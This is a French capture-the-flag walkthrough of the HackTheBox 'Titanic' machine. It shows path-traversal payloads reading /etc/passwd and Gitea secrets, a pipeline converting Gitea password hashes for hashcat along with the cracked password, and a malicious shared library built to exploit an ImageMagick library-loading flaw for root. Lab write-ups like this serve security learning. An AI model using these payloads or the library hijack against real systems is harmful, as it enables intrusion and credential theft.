Titanic



Scanning

TCP

nmap -sS -sV -Pn -T5 -p- 10.10.11.55 -vv | tee nmap result.txt

```
PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9pl Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)

80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52

Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

UDP

nmap -sU -sV -Pn -T5 10.10.11.55 -vv

Nothing open


Enumération

On a une redirection sur le lien via IP


http://titanic.htb/

titanic.htb >> /etc/hosts

web-site



La seule option possible est de réserver son voyage 'Book Your Trip' :



 Quand on submit, ça demande de le télécharger en local, le contenu, en .json, sont les informations que l'on a indiquées.

gobuster

[★]\$ gobuster dir -u http://titanic.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -x php,js,html,txt,zip

Rien d'intéressant, mise à par /book en code 405 et download en code 400,

j'ai tenté de re énumérer depuis ces lien là, mais rien n'a été trouvé.

Exploitation

N'ayant pas de chemins cachés, je me concentre sur l'option 'Book'.

burpsuite

Sur burpsuite, je relance le formulaire et l'envois :

Note

You should be redirected automatically to the target URL: <u>/download?ticket=f67d30ac-9d0e-4a84-9791-a24ba460ed9c.json</u>. If not, click the link.

On a un lien, j'y accède, ça demande de le télécharger, mais, l'url se présentant comme ceci :

http://titanic.htb/download?ticket=f67d30ac-9d0e-4a84-9791-a24ba460ed9c.json

Je peux voir si une faille LFI est présente.

LFI

http://titanic.htb/download?ticket=../../../etc/passwd

```
_.._.._etc_passwd (~) - Pluma
                              5 Undo ♂ % 🖆 🕽 🤉 🛠
 D
     ↑ Open
                         _.._.._etc_passwd ×
25 sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
26 syslog:x:107:113::/home/syslog:/usr/sbin/nologin
27 uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
28 tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
29 tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
30 landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
31 fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/
  usr/sbin/nologin
32 usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/
  nologin
33 developer:x:1000:1000:developer:/home/developer:/bin/bash
34 lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
35 dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/
  nologin
36 _laurel:x:998:998::/var/log/laurel:/bin/false
```


Je peux donc me balader sur le serveur distant et lire des contenu sensible.

Subdomain

[★]\$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.titanic.htb -mc 200

```
:: Progress: [1/4989] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 9ms]
```

dev.titanic.htb > /etc/hosts



Ffuf

J'ai enchainé des commandes :

```
46 ffuf -u "http://titanic.htb/download?ticket=../../../etc/mysql/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ
  47 ffuf -u "http://titanic.htb/download?ticket=../../../etc/mysql/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt
  48 ffuf -u "http://titanic.htb/download?ticket=../../../etc/mysql/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  49 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/" -w /usr/share/seclists/Discovery/Web-
Content/big.txt
  50 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/FUZZ" -w /usr/share/seclists/Discovery/Web-
Content/big.txt
  51 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  52 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/git/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  53 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/git/.ssh/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  54 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/git/.ssh/environment/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  55 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/gitea/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  56 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/gitea/conf/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  57 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/gitea/home/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  58 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/gitea/log/FUZZ" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
  59 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/gitea/log/FUZZ.log" -w
```

```
/usr/share/seclists/Discovery/Web-Content/big.txt
60 ffuf -u "http://titanic.htb/download?
ticket=../../../home/developer/gitea/data/gitea/conf/FUZZ.ini" -w
/usr/share/seclists/Discovery/Web-Content/big.txt
```

J'ai découvert le app.ini :

———[★]\$ cat_.._home_developer_gitea_data_gitea_conf_app.ini

```
APP NAME = Gitea: Git with a cup of tea
RUN MODE = prod
RUN USER = git
WORK PATH = /data/gitea
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL COPY PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT URL = http://gitea.titanic.htb/
DISABLE SSH = false
SSH PORT = 22
SSH LISTEN PORT = 22
LFS START SERVER = true
LFS JWT SECRET = OgnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjS04
OFFLINE MODE = true
[database]
PATH = /data/gitea/gitea.db
DB TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG SQL = false
SCHEMA =
SSL MODE = disable
[indexer]
ISSUE INDEXER PATH = /data/gitea/indexers/issues.bleve
[session]
PROVIDER CONFIG = /data/gitea/sessions
PROVIDER = file
[picture]
AVATAR UPLOAD PATH = /data/gitea/avatars
REPOSITORY AVATAR UPLOAD PATH = /data/gitea/repo-avatars
[attachment]
PATH = /data/gitea/attachments
[log]
MODE = console
```

```
LEVEL = info
ROOT PATH = /data/gitea/log
[security]
INSTALL_LOCK = true
SECRET KEY =
REVERSE PROXY LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL TOKEN =
eyJhbGciŌiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYi0jE3MjI10TUzMzR9.X4rYDGhkWTZKFfnjgES5r2
rFRpu GXTdQ65456XC0X8
PASSWORD HASH ALGO = pbkdf2
[service]
DISABLE REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE NOTIFY \overline{MAIL} = false
ALLOW ONLY EXTERNAL REGISTRATION = false
ENABLE CAPTCHA = false
DEFAULT KEEP EMAIL PRIVATE = false
DEFAULT ALLOW CREATE ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO REPLY ADDRESS = noreply.localhost
[[fs]
PATH = /data/git/lfs
[mailer]
ENABLED = false
[openid]
ENABLE OPENID SIGNIN = true
ENABLE OPENID SIGNUP = true
[cron.update checker]
ENABLED = fa\overline{l}se
[repository.pull-request]
DEFAULT MERGE STYLE = merge
[repository.signing]
DEFAULT TRUST MODEL = committer
[oauth2]
JWT SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
```

Celui-ci indique le chemin du fichier base de données :

http://titanic.htb/download?ticket=../../nome/developer/gitea/data/gitea/gitea.db

sqlite3

sqlite3 ../../../home/developer/gitea/data/gitea/gitea.db

hashcat

J'ai listé le schéma de la table user pour identifier les champs utiles :

.schema user

CREATE TABLE `user` (`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, `lower_name` TEXT NOT NULL, `name` TEXT NOT NULL, `full_name` TEXT NULL, `email` TEXT NOT NULL, `keep_email_private` INTEGER NULL, `email_notifications_preference` TEXT DEFAULT 'enabled' NOT NULL, `passwd` TEXT NOT NULL, `passwd_hash_algo` TEXT DEFAULT 'argon2' NOT NULL, `must_change password` INTEGER DEFAULT 0 NOT NULL, `login_type` INTEGER NULL, `login_source` INTEGER DEFAULT 0 NOT NULL, `login_name` TEXT NULL, `type` INTEGER NULL, `login_source` INTEGER DEFAULT 0 NOT NULL, `login_name` TEXT NULL, `salt` TEXT NULL, `language` TEXT NULL, `description` TEXT NULL, `created_unix` INTEGER NULL, `updated_unix` INTEGER NULL, `last_login_unix` INTEGER NULL, `last_repo_visibility` INTEGER NULL, `last_login_unix` INTEGER NULL, `last_repo_visibility` INTEGER NULL, `max_repo_creation` INTEGER DEFAULT -1 NOT NULL, `is_active` INTEGER NULL, `is_admin` INTEGER NULL, `is_restricted` INTEGER DEFAULT 0 NOT NULL, `allow_git_hook` INTEGER NULL, `allow_import_local` INTEGER NULL, `allow_create_organization` INTEGER DEFAULT 1 NULL, `prohibit_login` INTEGER DEFAULT 0 NOT NULL, `avatar` TEXT NOT NULL, `avatar_email` TEXT NOT NULL, `use_custom_avatar` INTEGER NULL, `num_followers` INTEGER NULL, `num_following` INTEGER DEFAULT 0 NOT NULL, `num_teams` INTEGER NULL, `num_members` INTEGER NULL, `num_repos` INTEGER NULL, `num_teams` INTEGER NULL, `num_members` INTEGER NULL, `num_teams` INTEGER DEFAULT 0 NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL, `theme` TEXT DEFAULT 1' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL, `theme` TEXT DEFAULT 1' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL, `theme` TEXT DEFAULT 1' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL, `theme` TEXT DEFAULT 1' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL, `theme` TEXT DEFAULT 1' NOT NULL, `theme` TEXT DEFAULT 1' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL, `theme` TEXT DEFAULT 1' NOT NULL, `theme` TEXT DEFA

convertion

https://0xdf.gitlab.io/2024/12/14/htb-compiled.html#crack-gitea-hash

• Convertit les champs de la base Gitea (salt, passwd) en un format reconnu par Hashcat, avec les bons paramètres (pbkdf2, itérations, encodage base64), pour pouvoir brute-force ou dictionary-attack le mot de passe.

```
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do
digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" |
cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo
"${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
```

output

administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J90tBWe2gWFzLT+8oJj0iGu8kjtAYq0WDUWcCNLfwG0yQGrJIHyYDEfF0BcTY=developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc01qaApU0F7P8TEwnAvY8iXyhEBrfLy0/F2+8wvxaCYZJjRE6llM+1Y=

crack

L—— [★]\$ hashcat gitea.hashes /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt --user

--user because my hashes start with the username and a

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc01qaApU0F7P8TEwnAvY8iXyhEBrfLy0/F
2+8wvxaCYZJjRE6llM+1Y=:25282528

password = 25282528

ssh to developer

developer@titanic:~\$ Is gitea mysql user.txt

```
// Note
developer@titanic:~$ cat user.txt
479a3a3d29362c594b4d8c5dcd7bcb38
```

Root

- Pas de droits sudo
- pas de suid spécifique

/opt/scripts

```
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick
identify >> metadata.log
```

- Va dans un dossier contenant des images . j pg
- Vide le fichier metadata.log
- Pour chaque .jpg , il lance /usr/bin/magick identify dessus (commande ImageMagick)
- Stocke les résultats dans metadata.log

ImageMagick

version >> ImageMagick 7.1.1-35

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

evil bibliothèque

cd /opt/app/static/assets/images

Créer une version malveillante de la bibliothèque libxcb.so.l. Cette bibliothèque devra exécuter du code malveillant lorsque magick lira le fichier.

```
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
```

```
system("cat /root/root.txt > /tmp/rootflag");
exit(0);
}
EOF
```

forcer exécution script

cp d'une image déjà présente, cela déclanchera le script, ensuite on pour lire le rootflag dans /tmp developer@titanic:/tmp\$ cat rootflag

78f2053ff5b98ac7630edc1b0010df1e